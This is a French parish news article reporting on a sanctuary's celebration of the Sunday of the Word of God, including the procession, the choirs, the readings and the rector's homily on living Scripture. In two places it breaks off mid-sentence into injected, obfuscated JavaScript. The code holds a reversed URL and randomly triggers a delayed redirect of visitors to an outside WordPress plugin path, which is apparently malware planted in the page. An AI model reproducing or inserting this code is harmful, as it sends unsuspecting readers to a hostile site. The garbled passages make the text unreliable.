Après que la Saint Siège ait décrété le troisième dimanche du temps ordinaire comme fête de la Parole de Dieu, l’Eglise universelle s’attèle à célébrer cette fête avec entrain. Le rectorat du sanctuaire, en collaboration avec différents groupes d’apostolat audit sanctuaire, en particulier le Groupe Mukama Menyekana, a organisé les festivités de la journée de façon grandiose. La majorité des membres de différentes commissions étaient présents à la fête en accomplissant leurs tâches habituelles d’apostolat. Leur forte présence s’expliquait en particulier par le fait que nous étions en tari de clôturer une semaine d’évangélisation qui venait de durer toute une semaine complète au même endroit. Il fallait être assuré que tout est en ordre.

La procession du début de la Messe a pris un itinéraire moins habituel et plus long que d’habitude, incluant cinq stations d’arrêt pour réciter certains passages bibliques choisis en rapport avec l’apostolat de la proclamation de l’Évangile. Les chorales Sainte Maria Goretti et Pueri cantores Maria Goretti ont alternativement animé la sainte célébration eucharistique en chants. Les lectures du jour étaient tirées du Livre de Néhémie (8, 2-4. 5-6. 8-10), la première épitre de saint Paul apôtre aux Corinthiens (12, 12-30) et l’Evangile selon saint Luc (1, 1-4. 14-21).

Dans son homélie, la Père Herménégilde COYITUNGIYE a tenu à rappeler que ce jour semble inhabituel car il nous rappelle en même temps la résurrection du Seigneur depuis les débuts de l’Eglise, et très récemment il a été proclamé fête de la Parole de Dieu. Dans la première lecture, Esdras a lu la Parole de Dieu devant une assemblée d’hommes, de femmes et d’enfants d’Israël. Au cours des célébrations eucharistiques, le prêtre prend la place d’Esdras. Les Saintes Ecritures nous disent que les Israelites toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donnaient beaucoup de respect à la Parole. L’Evangile nous a dit que ce qui est écrit s’est manifesté devant le public car l’Esprit de Dieu reposait sur Jésus. ‘Il y a quelques années, beaucoup de jeunes gens portaient sur eux le Nouveau Testament dans leurs poches, actuellement ils en portent dans leurs téléphones mobiles. Ce qui est curieux c’est que personne ne lit ces Ecritures, mais tout le monde passe énormément de temps à consulter les autres sources d’informations dites actuelles mais que nous trouvons souvent déroutantes et moins instruisantes’, a mentionné le Père Recteur. Ceci rejoint ce que nous avons entendu au cours des enseignements reçus au courant de cette semaine d’évangélisation : il y a une différence entre ‘avoir sur soi ou chez soi la Bible’ et ‘avoir en soi la Parole de Dieu’.

Quand nous avons la Parole de Dieu en nous, nous sommes sûrs de faire ce qui plaît à Dieu et qui devient digne et réconfortant pour notre prochain. Les lecteurs de la Parole de Dieu devraient se réjouir en premier car ils comprennent qu’ils ont une lourde tâche de bien préparer ce qu’ils toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doivent lire pour le public tout en essayant de l’observer et de se comporter conséquemment à ce qu’ils lisent. Nous devons en outre faire très attention à ceux qui utilisent la Parole de Dieu à des fins politiques, économiques et personnelles. Nous sommes plutôt appelés à garder toute la Parole en nos cœurs comme la Vierge Marie, elle qui se dit être la servante du Seigneur et accepte que la volonté divine se fasse en elle. Ainsi nous pourrons distinguer les faux enseignements de ceux qui sont conformes.

NYANDWI M.